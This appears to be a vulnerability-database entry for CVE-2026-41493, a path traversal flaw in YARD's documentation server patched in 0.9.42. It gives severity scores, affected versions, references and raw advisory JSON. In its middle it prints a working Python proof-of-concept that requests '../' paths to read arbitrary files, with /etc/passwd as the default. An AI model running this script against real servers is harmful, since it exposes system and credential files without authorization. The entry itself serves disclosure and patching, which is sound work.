Security Vulnerability Report
中文
CVE-2026-41493 CVSS 7.5 HIGH

CVE-2026-41493

Published: 2026-05-08 14:16:34
Last Modified: 2026-05-12 14:38:35

Description

YARD is a Ruby Documentation tool. Prior to version 0.9.42, a path traversal vulnerability was discovered in YARD when using yard server to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions. This issue has been patched in version 0.9.42.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:yardoc:yard:*:*:*:*:*:*:*:* - VULNERABLE
YARD < 0.9.42

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-41493 (YARD Path Traversal) This script attempts to read a file from the target server. """ import requests import sys def check_poc(target_url, file_path): # Basic payload construction using path traversal # Adjust the number of '../' based on the server's directory depth payload = "/../../../../.." + file_path full_url = f"{target_url.rstrip('/')}{payload}" print(f"[+] Attempting to fetch: {full_url}") try: response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Request successful!") print("[+] Response content preview:") print(response.text[:500]) # Print first 500 chars return True else: print(f"[-] Server returned status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error connecting to server: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_url> [file_to_read]") print("Example: python3 poc.py http://localhost:8808 /etc/passwd") sys.exit(1) url = sys.argv[1] target_file = sys.argv[2] if len(sys.argv) > 2 else "/etc/passwd" check_poc(url, target_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41493", "sourceIdentifier": "[email protected]", "published": "2026-05-08T14:16:33.550", "lastModified": "2026-05-12T14:38:35.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "YARD is a Ruby Documentation tool. Prior to version 0.9.42, a path traversal vulnerability was discovered in YARD when using yard server to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions. This issue has been patched in version 0.9.42."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yardoc:yard:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.9.42", "matchCriteriaId": "C78A11A0-6F27-4A70-9A20-C0E2B4264309"}]}]}], "references": [{"url": "https://github.com/lsegal/yard/releases/tag/v0.9.42", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/lsegal/yard/security/advisories/GHSA-3jfp-46x4-xgfj", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}